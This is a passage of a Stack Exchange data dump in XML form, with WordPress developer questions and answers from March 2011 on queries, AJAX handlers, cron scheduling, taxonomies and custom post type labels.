  <row Id="13196" PostTypeId="2" ParentId="13195" CreationDate="2011-03-27T09:58:57.123" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;post__not_in&lt;/code&gt; accepts an array so change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $postid = get_the_ID(); // capture the id ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $postid[] = get_the_ID(); // capture the id ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you'll be fine.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-27T09:58:57.123" CommentCount="3" />
  <row Id="13197" PostTypeId="2" ParentId="13192" CreationDate="2011-03-27T10:22:35.867" Score="2" ViewCount="" Body="&lt;p&gt;I'm guessing the page your calling executes an wp_redirect with a 301 response somewhere. &#xA;Dont really have an answer for you but maybe you can try the following. Ajax does not know what type of page your calling from and there might be some strange query_vars loaded that trigger a redirect.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your using a permalink to load the page, can you try using a non-permalink url?&lt;/li&gt;&#xA;&lt;li&gt;do a text-search on your plugin folder for wp_redirect to see if something comes up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ajax call action. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    var response;&#xA;jQuery.post(&#xA;    // see tip #1 for how we declare global javascript variables&#xA;    MyAjax.ajaxurl,&#xA;    {&#xA;        // here we declare the parameters to send along with the request&#xA;        // this means the following action hooks will be fired:&#xA;        // wp_ajax_nopriv_myajax-submit and wp_ajax_myajax-submit&#xA;        action : 'searchmap',&#xA;&#xA;        // other parameters can be added along with &quot;action&quot;&#xA;        postID : MyAjax.postID,&#xA;        count : '16'&#xA;    },&#xA;    function( response ) {&#xA;        jQuery(&quot;#div-searchmap&quot;).html(response);&#xA;        jQuery(&quot;#div-searchmap&quot;).show();&#xA;    }&#xA;&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use wp_ajax you will need to add some more.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // declare the URL to the file that handles the AJAX request (wp-admin/admin-ajax.php)&#xA;    wp_localize_script( 'my-ajax-request', 'MyAjax', array( 'ajaxurl' =&amp;gt; admin_url( 'admin-ajax.php' ) ) );&#xA;    // this hook is fired if the current viewer is not logged in&#xA;    if (isset($_GET['action'])) {&#xA;    do_action( 'wp_ajax_nopriv_' . $_GET['action'] );&#xA;    }&#xA;    // if logged in:&#xA;    if (isset($_POST['action'])) {&#xA;    do_action( 'wp_ajax_' . $_POST['action'] );&#xA;    }&#xA;        if(is_admin()) {&#xA;        add_action( 'wp_ajax_searchmap', 'my_searchmap_function' );&#xA;        } else {&#xA;        add_action( 'wp_ajax_nopriv_searchmap', 'my_searchmap_function' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im using POST variable for my ajax script so it alawys runs in admin, if you write the jquery script with GET you will need to call the norpriv function outside admin. (just figured this out now)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U might have to fix the script here and there, it's just an offhand example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the function has to return the data you need. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_searchmap_function() {&#xA;// Start output buffer&#xA;ob_start();&#xA;?&amp;gt;&#xA;div&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Pages&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_pages('title_li=&amp;amp;depth=0&amp;amp;exclude='); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Posts&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;?php $first = 0;?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php&#xA;        $myposts = get_posts('numberposts=-1&amp;amp;offset=$first');&#xA;        foreach($myposts as $post) :&#xA;        ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Categories&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php wp_list_categories('title_li=&amp;amp;orderby=name'); ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;?php &#xA;&#xA;    $output = ob_get_contents();&#xA;&#xA;    // Stop output buffer&#xA;    ob_end_clean();&#xA;    $response = json_encode($output);&#xA;&#xA;    // response output&#xA;    header( &quot;Content-Type: application/json&quot; );&#xA;    echo $response;&#xA;&#xA;    // IMPORTANT: don't forget to &quot;exit&quot;&#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-03-28T10:23:54.603" LastActivityDate="2011-03-28T10:23:54.603" CommentCount="11" />
  <row Id="13198" PostTypeId="2" ParentId="13179" CreationDate="2011-03-27T10:34:23.537" Score="0" ViewCount="" Body="&lt;p&gt;I'd choose the way that @toscho suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway here's a solution that completely removes the built in taxonomy. I wouldn't adivse you to use it (may cause unexpected behavior).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Remove built in taxonomies&#xA; */&#xA;function unregister_taxonomy( $taxonomy ) &#xA;{&#xA;    global $wp_taxonomies;&#xA;&#xA;    // Here we can take a separated look at the built in taxonomies&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;        /*&#xA;        print_r( $wp_taxonomies['category'] );&#xA;        print_r( $wp_taxonomies['post_tag'] );&#xA;        print_r( $wp_taxonomies['nav_menu'] );&#xA;        print_r( $wp_taxonomies['link_category'] );&#xA;        print_r( $wp_taxonomies['post_format'] );&#xA;        */&#xA;&#xA;    foreach ( $wp_taxonomies as $tax =&amp;gt; $data )&#xA;    {&#xA;        // Only deal with _builtin taxonomies&#xA;        if ( $data-&amp;gt;_builtin === true )&#xA;        {&#xA;            // Print out them name if it's builtin; check&#xA;            # print_r( $tax ); &#xA;&#xA;            // Now let's unset &quot;category&quot;&#xA;            if ( $tax == 'category')&#xA;            {&#xA;                // Check to be sure if we're dealing with the right one&#xA;                # print_r( $tax );&#xA;                unset( $wp_taxonomies[$tax] );&#xA;            }&#xA;        }&#xA;    }&#xA;    // double check after wards: have we been successful?&#xA;    # print_r($wp_taxonomies);&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_action( 'init', 'unregister_taxonomy' );&#xA;&#xA;function check_unset_category() {&#xA;    // Now let's check inside our viewport (after footer) if we real got rid of the taxonomy&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;        print_r( $GLOBALS['wp_taxonomies'] );&#xA;    echo '&amp;lt;/pre&amp;gt;';&#xA;}&#xA;add_action( 'wp_footer', 'check_unset_category', 999 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-27T10:34:23.537" />
  <row Id="13199" PostTypeId="2" ParentId="13193" CreationDate="2011-03-27T10:41:06.693" Score="1" ViewCount="" Body="&lt;p&gt;Multiple pages may use the same template. There is no 1:1 relation between templates and pages or nav menu items, so you may get more than one item back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Templates and item IDs are stored in the table &lt;code&gt;postmeta&lt;/code&gt;. Look for &lt;code&gt;_menu_item_object_id&lt;/code&gt; and &lt;code&gt;_wp_page_template&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-27T10:41:06.693" CommentCount="1" />
  <row Id="13201" PostTypeId="2" ParentId="13137" CreationDate="2011-03-27T11:10:56.500" Score="2" ViewCount="" Body="&lt;p&gt;You should be able to use template_redirect. I haven't tested it though, should be something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function page_redirect() {&#xA;    if ($_SERVER['REQUEST_URI'] == 'your_url')  {&#xA;&#xA;        require(TEMPLATEPATH . '/mY-account.php');&#xA;&#xA;    }&#xA;}&#xA;add_action('template_redirect', 'page_redirect');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="389" LastEditorDisplayName="" LastEditDate="2011-03-27T16:08:45.603" LastActivityDate="2011-03-27T16:08:45.603" CommentCount="2" />
  <row Id="13202" PostTypeId="2" ParentId="11636" CreationDate="2011-03-27T11:27:21.633" Score="2" ViewCount="" Body="&lt;p&gt;You can do this via wp_cron by using the following, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function more_reccurences() {&#xA;return array(&#xA;    'sixhourly' =&amp;gt; array('interval' =&amp;gt; 21600, 'display' =&amp;gt; 'Every 6 hours'),&#xA;);&#xA;}&#xA;add_filter('cron_schedules', 'more_reccurences');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then find the function that does the autopost and call it by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !wp_next_scheduled('autopost_function') ) {&#xA;wp_schedule_event(time(), 'sixhourly', 'autopost_function');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to use linux cron should be something like: * 6,12,18,24 * * * /some-command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-new edit: 28-3-2011&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think things are getting mixed up here, let me clarify.&#xA;This * 6,12,18,24 * * * /some-command goes into your crontab file, which is completely outside  your webserver and wordpress. This &lt;strong&gt;cannot&lt;/strong&gt; be used in php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to schedule it in wordpress you will need the functions that I gave. I'm not very familiar with wp-robot but i can give try to help. wp-robot is premium so I cant check the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code I gave at the top executes the autopost function every six hours. You need to write the autopost_function yourself or find a function in wp-robot you can trigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ill give some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;example ssh command:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function autopost_function() {&#xA;$cmd = escapeshellcmd('wget --post-data='mincamp=2&amp;amp;maxcamp=3&amp;amp;chance=50' -O /dev/null http://myURL/');&#xA;  exec ($cmd);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that using exec() is considered &lt;strong&gt;very dangerous&lt;/strong&gt; in PHP, if not done correctly your entire server can be compromised/hacked and it may not run correctly if your server is running in safe-mode. You could try opening the page with curl which would better but your server would need curl support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of the above I would use the following function to add posts programmatically. But this has nothing to do with wp-robot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;example wp function:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function autopost_function() {&#xA;// Create post object&#xA;  $my_post = array(&#xA;     'post_title' =&amp;gt; 'My post',&#xA;     'post_content' =&amp;gt; 'This is my post.',&#xA;     'post_status' =&amp;gt; 'publish',&#xA;     'post_author' =&amp;gt; 1,&#xA;     'post_category' =&amp;gt; array(8,39)&#xA;  );&#xA;&#xA;// Insert the post into the database&#xA;  wp_insert_post( $my_post );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this function simply adds a post to the database, you can pass a lot of parameters to it. Look up wp_insert_post() on the codex for more information. Doing it like this is &lt;strong&gt;much safer&lt;/strong&gt;, and easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the above code outside wp-robot, so you wont have to change the core files. All examples I have written are untested so they might contain some syntax problems.&#xA;Hope this helps get you going.&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-03-28T08:47:22.580" LastActivityDate="2011-03-28T08:47:22.580" CommentCount="11" />
  <row Id="13204" PostTypeId="1" AcceptedAnswerId="13207" CreationDate="2011-03-27T12:11:53.577" Score="3" ViewCount="79" Body="&lt;p&gt;What I'm currently trying to make is an activities stream wich list : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The posts,&lt;/li&gt;&#xA;&lt;li&gt;the comments,&lt;/li&gt;&#xA;&lt;li&gt;both mixed between them and ordered by date.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My idea is to make two queries, but i don't know how to mix them up. Here are my queries :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Query the posts :&#xA;$queryPosts = &quot;&#xA;    SELECT * FROM $wpdb-&amp;gt;posts&#xA;    WHERE post_type = 'post'&#xA;    AND post_status = 'publish'&#xA;    ORDER BY post_date DESC&#xA;&quot;;&#xA;&#xA;// Query the comments :&#xA;$queryComments = &quot;&#xA;    SELECT * FROM $wpdb-&amp;gt;comments&#xA;    ORDER BY comment_date DESC&#xA;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that possible with some kind of SQL JOIN ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;I tried what was suggested by @scribu about using SQL UNION and it's working well :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID AS entry_id, post_date AS entry_date, post_content AS entry_content FROM $wpdb-&amp;gt;posts&#xA;WHERE post_type = 'post'&#xA;AND post_status = 'publish'&#xA;UNION&#xA;SELECT comment_ID AS entry_id, comment_date AS entry_date, comment_content AS entry_content FROM $wpdb-&amp;gt;comments&#xA;ORDER BY entry_date DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do now is access some data which are in the posts table and not in the comments table. Any idea ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance.&lt;/p&gt;&#xA;" OwnerUserId="3925" LastEditorUserId="3925" LastEditorDisplayName="" LastEditDate="2011-03-27T16:53:33.817" LastActivityDate="2011-03-27T16:53:33.817" Title="How to make an activities stream mixing posts and comments?" Tags="&lt;wp-query&gt;&lt;query&gt;&lt;wpdb&gt;&lt;sql&gt;&lt;custom-sql&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="13205" PostTypeId="2" ParentId="7805" CreationDate="2011-03-27T13:17:28.793" Score="3" ViewCount="" Body="&lt;p&gt;From quick test &lt;code&gt;$wp_query-&amp;gt;get_queried_object_id()&lt;/code&gt; should get page's ID when that page is set to be posts page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is likely the issue of timing it late enough that it is available, but early enough so that loop of posts doesn't interfere. I'd try to capture it early (in &lt;code&gt;template_redirect&lt;/code&gt; hook or around that) and store in global variable to use later.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-27T13:17:28.793" />
  <row Id="13206" PostTypeId="1" CreationDate="2011-03-27T13:44:38.090" Score="1" ViewCount="121" Body="&lt;p&gt;How can a plugin create a page/form in the front end thats not listed in pages (if possible). it should only be accessed through a direct link.&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-06-25T19:17:17.180" Title="How can a plugin create a page/form in the front end?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="13207" PostTypeId="2" ParentId="13204" CreationDate="2011-03-27T14:26:42.807" Score="3" ViewCount="" Body="&lt;p&gt;I believe you're looking for &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/union.html&quot; rel=&quot;nofollow&quot;&gt;SQL UNION&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-27T14:26:42.807" CommentCount="4" />
  <row Id="13208" PostTypeId="2" ParentId="13206" CreationDate="2011-03-27T14:51:18.713" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9870/how-do-you-create-a-virtual-page-in-wordpress&quot;&gt;How do you create a “virtual” page in WordPress&lt;/a&gt; for the solution. This should work for your case as well.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-27T14:51:18.713" />
  <row Id="13209" PostTypeId="1" AcceptedAnswerId="13275" CreationDate="2011-03-27T14:58:35.140" Score="0" ViewCount="322" Body="&lt;p&gt;I'm working on a website where the client wants a static page displaying information about a certain category. Then under the static information she wants all the posts from that category in a 2 column list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to have an alphabetically ordered list linking to all the post in a selected category. I have the code to do this, but I need to be able to break the list up in columns.&#xA;Here is the code I have displaying the post...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (is_page() ) {&#xA;$category = get_post_meta($posts[0]-&amp;gt;ID, 'category', true);&#xA;}&#xA;if ($category) {&#xA;  $cat = get_cat_ID($category);&#xA;  $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;  $post_per_page = -1; // -1 shows all posts&#xA;  $do_not_show_stickies = 1; // 0 to show stickies&#xA;  $args=array(&#xA;    'category__in' =&amp;gt; array($cat),&#xA;    'orderby' =&amp;gt; 'title',&#xA;    'order' =&amp;gt; 'asc',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'caller_get_posts' =&amp;gt; $do_not_show_stickies&#xA;  );&#xA;  $temp = $wp_query;  // assign orginal query to temp variable for later use   &#xA;  $wp_query = null;&#xA;  $wp_query = new WP_Query($args); &#xA;  if( have_posts() ) : &#xA;        while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;div &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;_li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to          &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;_/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know my HTML skills aren't the best, but here is the entire template page...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/889340&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/889340&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4247" LastEditorUserId="4247" LastEditorDisplayName="" LastEditDate="2011-03-27T16:23:02.213" LastActivityDate="2011-03-29T20:50:23.663" Title="How can I display only the post titles from a selected category in columns?" Tags="&lt;custom-field&gt;&lt;list&gt;&lt;columns&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13210" PostTypeId="1" AcceptedAnswerId="13211" CreationDate="2011-03-27T15:15:50.040" Score="1" ViewCount="144" Body="&lt;p&gt;i've just created a new post type. It's name is Academias so the first menu option is Academias as well. But I would like to change it to something like See All Academias (just an example), is that possible?&lt;/p&gt;&#xA;" OwnerUserId="4248" LastActivityDate="2011-05-12T21:40:21.470" Title="Post Type Label Name" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13211" PostTypeId="2" ParentId="13210" CreationDate="2011-03-27T15:23:07.517" Score="3" ViewCount="" Body="&lt;p&gt;The function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;register_post_type()&lt;/a&gt; takes an argument &lt;code&gt;'labels'&lt;/code&gt;. This is an array, one of the possible keys is named … tada! … &lt;code&gt;'menu_name'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Sample code&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type(&#xA;    'academias'&#xA;,   array (&#xA;        'can_export'          =&amp;gt; TRUE&#xA;    ,   'exclude_from_search' =&amp;gt; FALSE&#xA;    ,   'has_archive'         =&amp;gt; TRUE&#xA;    ,   'hierarchical'        =&amp;gt; TRUE&#xA;    ,   'label'               =&amp;gt; 'Academias'&#xA;    ,   'labels'              =&amp;gt; array ( 'menu_name' =&amp;gt; 'See All Academias' )&#xA;    ,   'menu_position'       =&amp;gt; 5&#xA;    ,   'public'              =&amp;gt; TRUE&#xA;    ,   'publicly_queryable'  =&amp;gt; TRUE&#xA;    ,   'query_var'           =&amp;gt; 'academias'&#xA;    ,   'rewrite'             =&amp;gt; array ( 'slug' =&amp;gt; 'academias' )&#xA;    ,   'show_ui'             =&amp;gt; TRUE&#xA;    ,   'show_in_menu'        =&amp;gt; TRUE&#xA;    ,   'show_in_nav_menus'   =&amp;gt; TRUE&#xA;    ,   'supports'            =&amp;gt; array ( 'editor', 'title' )&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Now, that I’ve understood your question better, there seems to be only one way to accomplish what you want: hook into &lt;code&gt;attribute_escape&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Test Plugin&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: *WPSE13210&#xA;*/&#xA;! defined( 'ABSPATH' ) and exit;&#xA;&#xA;add_action( 'init', 'register_academia' );&#xA;&#xA;/**&#xA; * Registers te post type academias&#xA; *&#xA; * @return void&#xA; */&#xA;function register_academia()&#xA;{&#xA;    register_post_type(&#xA;        'academias'&#xA;    ,   array (&#xA;            'can_export'          =&amp;gt; TRUE&#xA;        ,   'exclude_from_search' =&amp;gt; FALSE&#xA;        ,   'has_archive'         =&amp;gt; TRUE&#xA;        ,   'hierarchical'        =&amp;gt; TRUE&#xA;        ,   'label'               =&amp;gt; 'Academias'&#xA;        ,   'labels'              =&amp;gt; array (&#xA;                'menu_name' =&amp;gt; 'See All Academias'&#xA;            ,   'name' =&amp;gt; 'Academias'&#xA;            )&#xA;        ,   'menu_position'       =&amp;gt; 5&#xA;        ,   'public'              =&amp;gt; TRUE&#xA;        ,   'publicly_queryable'  =&amp;gt; TRUE&#xA;        ,   'query_var'           =&amp;gt; 'academias'&#xA;        ,   'rewrite'             =&amp;gt; array ( 'slug' =&amp;gt; 'academias' )&#xA;        ,   'show_ui'             =&amp;gt; TRUE&#xA;        ,   'show_in_menu'        =&amp;gt; TRUE&#xA;        ,   'show_in_nav_menus'   =&amp;gt; TRUE&#xA;        ,   'supports'            =&amp;gt; array ( 'editor', 'title' )&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_filter( 'attribute_escape', 'rename_second_menu_name', 10, 2 );&#xA;&#xA;/**&#xA; * Renames the first occurence of 'See All Academias' to 'Academias'&#xA; * and deactivates itself then.&#xA; * @param $safe_text&#xA; * @param $text&#xA; */&#xA;function rename_second_menu_name( $safe_text, $text )&#xA;{&#xA;    if ( 'See All Academias' !== $text )&#xA;    {&#xA;        return $safe_text;&#xA;    }&#xA;&#xA;    // We are on the main menu item now. The filter is not needed anymore.&#xA;    remove_filter( 'attribute_escape', 'rename_second_menu_name' );&#xA;&#xA;    return 'Academias';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;br&gt;&#xA;Not very elegant, but at least a solution …&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update 12.05.2010&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17378&quot; rel=&quot;nofollow&quot;&gt;ticket 17378&lt;/a&gt; a new parameter &lt;code&gt;all_items&lt;/code&gt; was proposed. That should work much better, once it’s part of the core …&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-12T21:40:21.470" LastActivityDate="2011-05-12T21:40:21.470" CommentCount="5" />
  <row Id="13212" PostTypeId="2" ParentId="10719" CreationDate="2011-03-27T16:30:48.883" Score="0" ViewCount="" Body="&lt;p&gt;to fix this problem simply replace jquery.js from the wp-includes/js/jquery folder with an older version i.e. replace 3.1's file with 3.0.5 (just that one file though). it seems the new jquery.js file is just too damned advanced hehe&lt;/p&gt;&#xA;" OwnerUserId="4251" LastActivityDate="2011-03-27T16:30:48.883" CommentCount="4" />
  <row Id="13213" PostTypeId="1" CreationDate="2011-03-27T16:33:28.383" Score="1" ViewCount="62" Body="&lt;p&gt;I'm just trying to get my head around the &quot;life-cycle&quot; of a typical page request in WordPress. The &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Reference page&lt;/a&gt; lists 38 actions that occur during a typical page load, but two things aren't clear to me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;does functions.php get invoked &lt;em&gt;before&lt;/em&gt; any of the hooks are executed?&lt;/li&gt;&#xA;&lt;li&gt;does the framework call your &quot;page.php&quot;, etc., somewhere &lt;em&gt;within&lt;/em&gt; the sequence of hooks, or &lt;em&gt;after&lt;/em&gt; all hooks have been executed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(apologies if my terminology is a little off, but I believe I understand the idea behind hooks being made available by the framework, and actions being associated with these hooks by the theme author)&lt;/p&gt;&#xA;" OwnerUserId="4184" LastActivityDate="2011-03-27T17:23:11.543" Title="Seeking clarification on page request life-cycle" Tags="&lt;plugins&gt;&lt;theme-development&gt;&lt;functions&gt;&lt;hooks&gt;" AnswerCount="2" />
  <row Id="13214" PostTypeId="2" ParentId="13213" CreationDate="2011-03-27T16:38:56.530" Score="2" ViewCount="" Body="&lt;p&gt;To see both when an action is fired and when a file is included, take a look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wp-roadmap.com/demo/&quot; rel=&quot;nofollow&quot;&gt;http://wp-roadmap.com/demo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it only covers things inside WP Core, along with the default theme.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-27T16:38:56.530" />
  <row Id="13215" PostTypeId="1" CreationDate="2011-03-27T16:47:36.397" Score="-1" ViewCount="220" Body="&lt;p&gt;I have &lt;code&gt;thesis theme&lt;/code&gt; but for that thesis I want to create a child theme but I am not find out any help for starting.&#xA;even i have search on Internet but nothing found&#xA;Hey any body have any idea regard this then please help me.&#xA;I am waiting for your reply&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-27T19:34:03.790" LastActivityDate="2011-03-28T05:55:21.353" Title="How to develop child theme for thesis" Tags="&lt;theme-development&gt;&lt;theme-thesis&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="13216" PostTypeId="1" CreationDate="2011-03-27T16:50:32.340" Score="0" ViewCount="48" Body="&lt;p&gt;How can I exclude those Privately Published post from the related post result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scorer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 300, I change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE ( post_status='publish')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WHERE ( post_status='publish' OR post_status = 'private' )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And Line 463 I change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND ({$prefix}posts.post_status = 'publish')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND ({$prefix}posts.post_status = 'publish' OR {$prefix}posts.post_status = 'private')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is still showing the private posts. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/better-related/&quot; 